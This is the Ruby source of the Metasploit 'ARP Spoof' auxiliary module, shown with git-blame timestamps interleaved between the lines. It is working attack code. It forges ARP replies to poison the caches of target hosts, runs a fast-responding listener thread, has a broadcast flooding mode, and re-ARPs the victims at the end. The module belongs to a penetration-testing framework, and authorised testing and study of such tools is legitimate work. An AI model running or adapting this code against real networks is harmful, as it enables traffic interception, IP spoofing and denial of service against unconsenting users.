2011-05-08 04:26:16 +00:00
##
2017-07-24 13:26:21 +00:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 18:50:46 +00:00
# Current source: https://github.com/rapid7/metasploit-framework
2011-05-08 04:26:16 +00:00
##
2016-03-08 13:02:44 +00:00
class MetasploitModule < Msf :: Auxiliary
2013-08-30 21:28:54 +00:00
include Msf :: Exploit :: Remote :: Capture
include Msf :: Auxiliary :: Report
def initialize
super (
'Name' = > 'ARP Spoof' ,
'Description' = > %q{
Spoof ARP replies and poison remote ARP caches to conduct IP address spoofing or a denial of service .
} ,
'Author' = > 'amaloteaux' , # msf rewrite
2015-04-03 11:12:23 +00:00
#tons of people
2013-08-30 21:28:54 +00:00
'License' = > MSF_LICENSE ,
'References' = >
[
2016-07-15 17:00:31 +00:00
[ 'OSVDB' , '11169' ] ,
2013-08-30 21:28:54 +00:00
[ 'CVE' , '1999-0667' ] ,
[ 'URL' , 'http://en.wikipedia.org/wiki/ARP_spoofing' ]
] ,
2016-07-15 17:00:31 +00:00
'DisclosureDate' = > 'Dec 22 1999' #osvdb date
2013-08-30 21:28:54 +00:00
)
register_options ( [
OptString . new ( 'SHOSTS' , [ true , 'Spoofed ip addresses' ] ) ,
OptString . new ( 'SMAC' , [ false , 'The spoofed mac' ] ) ,
OptString . new ( 'DHOSTS' , [ true , 'Target ip addresses' ] ) ,
OptString . new ( 'INTERFACE' , [ false , 'The name of the interface' ] ) ,
OptBool . new ( 'BIDIRECTIONAL' , [ true , 'Spoof also the source with the dest' , false ] ) ,
OptBool . new ( 'AUTO_ADD' , [ true , 'Auto add new host when discovered by the listener' , false ] ) ,
2015-12-13 17:04:20 +00:00
OptBool . new ( 'LISTENER' , [ true , 'Use an additional thread that will listen for arp requests to reply as fast as possible' , true ] )
2017-05-03 20:42:21 +00:00
] )
2013-08-30 21:28:54 +00:00
register_advanced_options ( [
OptString . new ( 'LOCALSMAC' , [ false , 'The MAC address of the local interface to use for hosts detection, this is usefull only if you want to spoof to another host with SMAC' ] ) ,
OptString . new ( 'LOCALSIP' , [ false , 'The IP address of the local interface to use for hosts detection' ] ) ,
OptInt . new ( 'PKT_DELAY' , [ true , 'The delay in milliseconds between each packet during poisoning' , 100 ] ) ,
OptInt . new ( 'TIMEOUT' , [ true , 'The number of seconds to wait for new data during host detection' , 2 ] ) ,
# This mode will generate address ip conflict pop up on most systems
OptBool . new ( 'BROADCAST' , [ true , 'If set, the module will send replies on the broadcast address witout consideration of DHOSTS' , false ] )
2017-05-03 20:42:21 +00:00
] )
2013-08-30 21:28:54 +00:00
2014-12-04 21:26:16 +00:00
deregister_options ( 'SNAPLEN' , 'FILTER' , 'PCAPFILE' , 'RHOST' , 'SECRET' , 'GATEWAY_PROBE_HOST' , 'GATEWAY_PROBE_PORT' )
2013-08-30 21:28:54 +00:00
end
def run
open_pcap ( { 'SNAPLEN' = > 68 , 'FILTER' = > " arp[6:2] == 0x0002 " } )
@netifaces = true
if not netifaces_implemented?
print_error ( " WARNING : Pcaprub is not uptodate, some functionality will not be available " )
@netifaces = false
end
@spoofing = false
# The local dst (and src) cache(s)
@dsthosts_cache = { }
@srchosts_cache = { }
# Some additional caches for autoadd feature
if datastore [ 'AUTO_ADD' ]
@dsthosts_autoadd_cache = { }
if datastore [ 'BIDIRECTIONAL' ]
@srchosts_autoadd_cache = { }
end
end
begin
@interface = datastore [ 'INTERFACE' ] || Pcap . lookupdev
2015-04-03 11:12:23 +00:00
# This is needed on windows cause we send interface directly to Pcap functions
2013-08-30 21:28:54 +00:00
@interface = get_interface_guid ( @interface )
@smac = datastore [ 'SMAC' ]
@smac || = get_mac ( @interface ) if @netifaces
2017-10-31 09:53:14 +00:00
raise 'SMAC is not defined and can not be guessed' unless @smac
raise 'Source MAC is not in correct format' unless is_mac? ( @smac )
2013-08-30 21:28:54 +00:00
@sip = datastore [ 'LOCALSIP' ]
2016-11-06 11:04:57 +00:00
@sip || = get_ipv4_addr ( @interface ) if @netifaces
2013-08-30 21:28:54 +00:00
raise " LOCALSIP is not defined and can not be guessed " unless @sip
raise " LOCALSIP is not an ipv4 address " unless Rex :: Socket . is_ipv4? ( @sip )
shosts_range = Rex :: Socket :: RangeWalker . new ( datastore [ 'SHOSTS' ] )
@shosts = [ ]
if datastore [ 'BIDIRECTIONAL' ]
shosts_range . each { | shost | if Rex :: Socket . is_ipv4? ( shost ) and shost != @sip then @shosts . push shost end }
else
shosts_range . each { | shost | if Rex :: Socket . is_ipv4? ( shost ) then @shosts . push shost end }
end
if datastore [ 'BROADCAST' ]
broadcast_spoof
else
arp_poisoning
end
rescue = > ex
print_error ( ex . message )
ensure
if datastore [ 'LISTENER' ]
@listener . kill if @listener
end
if capture and @spoofing and not datastore [ 'BROADCAST' ]
print_status ( " RE-ARPing the victims... " )
3 . times do
@dsthosts_cache . keys . sort . each do | dhost |
dmac = @dsthosts_cache [ dhost ]
if datastore [ 'BIDIRECTIONAL' ]
@srchosts_cache . keys . sort . each do | shost |
smac = @srchosts_cache [ shost ]
if shost != dhost
vprint_status ( " Sending arp packet for #{ shost } to #{ dhost } " )
reply = buildreply ( shost , smac , dhost , dmac )
inject ( reply )
Kernel . select ( nil , nil , nil , ( datastore [ 'PKT_DELAY' ] * 1 . 0 ) / 1000 )
end
end
else
@shosts . each do | shost |
if shost != dhost
vprint_status ( " Sending arp request for #{ shost } to #{ dhost } " )
request = buildprobe ( dhost , dmac , shost )
inject ( request )
Kernel . select ( nil , nil , nil , ( datastore [ 'PKT_DELAY' ] * 1 . 0 ) / 1000 )
end
end
end
end
if datastore [ 'BIDIRECTIONAL' ]
@srchosts_cache . keys . sort . each do | shost |
smac = @srchosts_cache [ shost ]
@dsthosts_cache . keys . sort . each do | dhost |
dmac = @dsthosts_cache [ dhost ]
if shost != dhost
vprint_status ( " Sending arp packet for #{ dhost } to #{ shost } " )
reply = buildreply ( dhost , dmac , shost , smac )
inject ( reply )
Kernel . select ( nil , nil , nil , ( datastore [ 'PKT_DELAY' ] * 1 . 0 ) / 1000 )
end
end
end
end
end # 3.times
end
close_pcap
end #begin/rescue/ensure
end
def broadcast_spoof
print_status ( " ARP poisoning in progress (broadcast)... " )
while ( true )
@shosts . each do | shost |
vprint_status ( " Sending arp packet for #{ shost } address " )
reply = buildreply ( shost , @smac , '0.0.0.0' , 'ff:ff:ff:ff:ff:ff' )
inject ( reply )
Kernel . select ( nil , nil , nil , ( datastore [ 'PKT_DELAY' ] * 1 . 0 ) / 1000 )
end
end
end
def arp_poisoning
lsmac = datastore [ 'LOCALSMAC' ] || @smac
2017-10-31 09:53:14 +00:00
raise 'Local Source Mac is not in correct format' unless is_mac? ( lsmac )
2013-08-30 21:28:54 +00:00
dhosts_range = Rex :: Socket :: RangeWalker . new ( datastore [ 'DHOSTS' ] )
@dhosts = [ ]
dhosts_range . each { | dhost | if Rex :: Socket . is_ipv4? ( dhost ) and dhost != @sip then @dhosts . push ( dhost ) end }
2015-04-03 11:12:23 +00:00
# Build the local dest hosts cache
2013-08-30 21:28:54 +00:00
print_status ( " Building the destination hosts cache... " )
@dhosts . each do | dhost |
vprint_status ( " Sending arp packet to #{ dhost } " )
probe = buildprobe ( @sip , lsmac , dhost )
inject ( probe )
while ( reply = getreply ( ) )
next if not reply . is_arp?
2015-04-03 11:12:23 +00:00
# Without this check any arp request would be added to the cache
2013-08-30 21:28:54 +00:00
if @dhosts . include? reply . arp_saddr_ip
2017-07-13 23:09:35 +00:00
print_good ( " #{ reply . arp_saddr_ip } appears to be up. " )
2013-08-30 21:28:54 +00:00
report_host ( :host = > reply . arp_saddr_ip , :mac = > reply . arp_saddr_mac )
@dsthosts_cache [ reply . arp_saddr_ip ] = reply . arp_saddr_mac
end
end
end
2015-04-03 11:12:23 +00:00
# Wait some few seconds for last packets
2013-08-30 21:28:54 +00:00
etime = Time . now . to_f + datastore [ 'TIMEOUT' ]
while ( Time . now . to_f < etime )
while ( reply = getreply ( ) )
next if not reply . is_arp?
if @dhosts . include? reply . arp_saddr_ip
2017-07-13 23:09:35 +00:00
print_good ( " #{ reply . arp_saddr_ip } appears to be up. " )
2013-08-30 21:28:54 +00:00
report_host ( :host = > reply . arp_saddr_ip , :mac = > reply . arp_saddr_mac )
@dsthosts_cache [ reply . arp_saddr_ip ] = reply . arp_saddr_mac
end
end
Kernel . select ( nil , nil , nil , 0 . 50 )
end
2017-10-31 09:53:14 +00:00
raise " No hosts found " unless @dsthosts_cache . length > 0
2013-08-30 21:28:54 +00:00
2015-04-03 11:12:23 +00:00
# Build the local src hosts cache
2013-08-30 21:28:54 +00:00
if datastore [ 'BIDIRECTIONAL' ]
2017-08-18 15:33:48 +00:00
print_status ( " Building the source hosts cache for unknown source hosts... " )
2013-08-30 21:28:54 +00:00
@shosts . each do | shost |
if @dsthosts_cache . has_key? shost
vprint_status ( " Adding #{ shost } from destination cache " )
@srchosts_cache [ shost ] = @dsthosts_cache [ shost ]
next
end
vprint_status ( " Sending arp packet to #{ shost } " )
probe = buildprobe ( @sip , lsmac , shost )
inject ( probe )
while ( reply = getreply ( ) )
next if not reply . is_arp?
if @shosts . include? reply . arp_saddr_ip
2017-07-13 23:09:35 +00:00
print_good ( " #{ reply . arp_saddr_ip } appears to be up. " )
2013-08-30 21:28:54 +00:00
report_host ( :host = > reply . arp_saddr_ip , :mac = > reply . arp_saddr_mac )
@srchosts_cache [ reply . arp_saddr_ip ] = reply . arp_saddr_mac
end
end
end
2015-04-03 11:12:23 +00:00
# Wait some few seconds for last packets
2013-08-30 21:28:54 +00:00
etime = Time . now . to_f + datastore [ 'TIMEOUT' ]
while ( Time . now . to_f < etime )
while ( reply = getreply ( ) )
next if not reply . is_arp?
if @shosts . include? reply . arp_saddr_ip
2017-07-13 23:09:35 +00:00
print_good ( " #{ reply . arp_saddr_ip } appears to be up. " )
2013-08-30 21:28:54 +00:00
report_host ( :host = > reply . arp_saddr_ip , :mac = > reply . arp_saddr_mac )
@srchosts_cache [ reply . arp_saddr_ip ] = reply . arp_saddr_mac
end
end
Kernel . select ( nil , nil , nil , 0 . 50 )
end
2017-10-31 09:53:14 +00:00
raise " No hosts found " unless @srchosts_cache . length > 0
2013-08-30 21:28:54 +00:00
end
if datastore [ 'AUTO_ADD' ]
@mutex_cache = Mutex . new
end
2015-04-03 11:12:23 +00:00
# Start the listener
2013-08-30 21:28:54 +00:00
if datastore [ 'LISTENER' ]
start_listener ( @dsthosts_cache , @srchosts_cache )
end
2015-04-03 11:12:23 +00:00
# Do the job until user interupt it
2013-08-30 21:28:54 +00:00
print_status ( " ARP poisoning in progress... " )
@spoofing = true
while ( true )
if datastore [ 'AUTO_ADD' ]
@mutex_cache . lock
if @dsthosts_autoadd_cache . length > 0
@dsthosts_cache . merge! ( @dsthosts_autoadd_cache )
@dsthosts_autoadd_cache = { }
end
if datastore [ 'BIDIRECTIONAL' ]
if @srchosts_autoadd_cache . length > 0
@srchosts_cache . merge! ( @srchosts_autoadd_cache )
@srchosts_autoadd_cache = { }
end
end
@mutex_cache . unlock
end
@dsthosts_cache . keys . sort . each do | dhost |
dmac = @dsthosts_cache [ dhost ]
if datastore [ 'BIDIRECTIONAL' ]
@srchosts_cache . keys . sort . each do | shost |
smac = @srchosts_cache [ shost ]
if shost != dhost
vprint_status ( " Sending arp packet for #{ shost } to #{ dhost } " )
reply = buildreply ( shost , @smac , dhost , dmac )
inject ( reply )
Kernel . select ( nil , nil , nil , ( datastore [ 'PKT_DELAY' ] * 1 . 0 ) / 1000 )
end
end
else
@shosts . each do | shost |
if shost != dhost
vprint_status ( " Sending arp packet for #{ shost } to #{ dhost } " )
reply = buildreply ( shost , @smac , dhost , dmac )
inject ( reply )
Kernel . select ( nil , nil , nil , ( datastore [ 'PKT_DELAY' ] * 1 . 0 ) / 1000 )
end
end
end
end
if datastore [ 'BIDIRECTIONAL' ]
@srchosts_cache . keys . sort . each do | shost |
smac = @srchosts_cache [ shost ]
@dsthosts_cache . keys . sort . each do | dhost |
dmac = @dsthosts_cache [ dhost ]
if shost != dhost
vprint_status ( " Sending arp packet for #{ dhost } to #{ shost } " )
reply = buildreply ( dhost , @smac , shost , smac )
inject ( reply )
Kernel . select ( nil , nil , nil , ( datastore [ 'PKT_DELAY' ] * 1 . 0 ) / 1000 )
end
end
end
end
end
end
def is_mac? ( mac )
if mac =~ / ^([a-fA-F0-9]{2}:){5}[a-fA-F0-9]{2}$ / then true
else false end
end
def buildprobe ( shost , smac , dhost )
p = PacketFu :: ARPPacket . new
p . eth_saddr = smac
p . eth_daddr = " ff:ff:ff:ff:ff:ff "
p . arp_opcode = 1
p . arp_daddr_mac = p . eth_daddr
p . arp_saddr_mac = p . eth_saddr
p . arp_saddr_ip = shost
p . arp_daddr_ip = dhost
p
end
def buildreply ( shost , smac , dhost , dmac )
p = PacketFu :: ARPPacket . new
p . eth_saddr = smac
p . eth_daddr = dmac
p . arp_opcode = 2 # ARP Reply
p . arp_daddr_mac = p . eth_daddr
p . arp_saddr_mac = p . eth_saddr
p . arp_saddr_ip = shost
p . arp_daddr_ip = dhost
p
end
def getreply
pkt_bytes = capture . next
return if not pkt_bytes
pkt = PacketFu :: Packet . parse ( pkt_bytes )
return unless pkt . is_arp?
return unless pkt . arp_opcode == 2
pkt
end
def start_listener ( dsthosts_cache , srchosts_cache )
if datastore [ 'BIDIRECTIONAL' ]
args = { :BIDIRECTIONAL = > true , :dhosts = > dsthosts_cache . dup , :shosts = > srchosts_cache . dup }
else
args = { :BIDIRECTIONAL = > false , :dhosts = > dsthosts_cache . dup , :shosts = > @shosts . dup }
end
# To avoid any race condition in case of , even if actually those are never updated after the thread is launched
args [ :AUTO_ADD ] = datastore [ 'AUTO_ADD' ]
args [ :localip ] = @sip . dup
@listener = Thread . new ( args ) do | args |
begin
2015-04-03 11:12:23 +00:00
# one more local copy
2013-08-30 21:28:54 +00:00
liste_src_ips = [ ]
if args [ :BIDIRECTIONAL ]
args [ :shosts ] . each_key { | address | liste_src_ips . push address }
else
args [ :shosts ] . each { | address | liste_src_ips . push address }
end
liste_dst_ips = [ ]
args [ :dhosts ] . each_key { | address | liste_dst_ips . push address }
localip = args [ :localip ]
listener_capture = :: Pcap . open_live ( @interface , 68 , true , 0 )
listener_capture . setfilter ( " arp[6:2] == 0x0001 " )
while ( true )
pkt_bytes = listener_capture . next
if pkt_bytes
pkt = PacketFu :: Packet . parse ( pkt_bytes )
if pkt . is_arp?
if pkt . arp_opcode == 1
2015-04-03 11:12:23 +00:00
# check if the source ip is in the dest hosts
2013-08-30 21:28:54 +00:00
if ( liste_dst_ips . include? pkt . arp_saddr_ip and liste_src_ips . include? pkt . arp_daddr_ip ) or
( args [ :BIDIRECTIONAL ] and liste_dst_ips . include? pkt . arp_daddr_ip and liste_src_ips . include? pkt . arp_saddr_ip )
vprint_status ( " Listener : Request from #{ pkt . arp_saddr_ip } for #{ pkt . arp_daddr_ip } " )
reply = buildreply ( pkt . arp_daddr_ip , @smac , pkt . arp_saddr_ip , pkt . eth_saddr )
3 . times { listener_capture . inject ( reply . to_s ) }
elsif args [ :AUTO_ADD ]
if ( @dhosts . include? pkt . arp_saddr_ip and not liste_dst_ips . include? pkt . arp_saddr_ip and
pkt . arp_saddr_ip != localip )
@mutex_cache . lock
print_status ( " #{ pkt . arp_saddr_ip } appears to be up. " )
@dsthosts_autoadd_cache [ pkt . arp_saddr_ip ] = pkt . arp_saddr_mac
liste_dst_ips . push pkt . arp_saddr_ip
@mutex_cache . unlock
elsif ( args [ :BIDIRECTIONAL ] and @shosts . include? pkt . arp_saddr_ip and
not liste_src_ips . include? pkt . arp_saddr_ip and pkt . arp_saddr_ip != localip )
@mutex_cache . lock
print_status ( " #{ pkt . arp_saddr_ip } appears to be up. " )
@srchosts_autoadd_cache [ pkt . arp_saddr_ip ] = pkt . arp_saddr_mac
liste_src_ips . push pkt . arp_saddr_ip
@mutex_cache . unlock
end
end
end
end
end
end
rescue = > ex
print_error ( " Listener Error: #{ ex . message } " )
print_error ( " Listener Error: Listener is stopped " )
end
end
@listener . abort_on_exception = true
end
2011-05-08 04:26:16 +00:00
end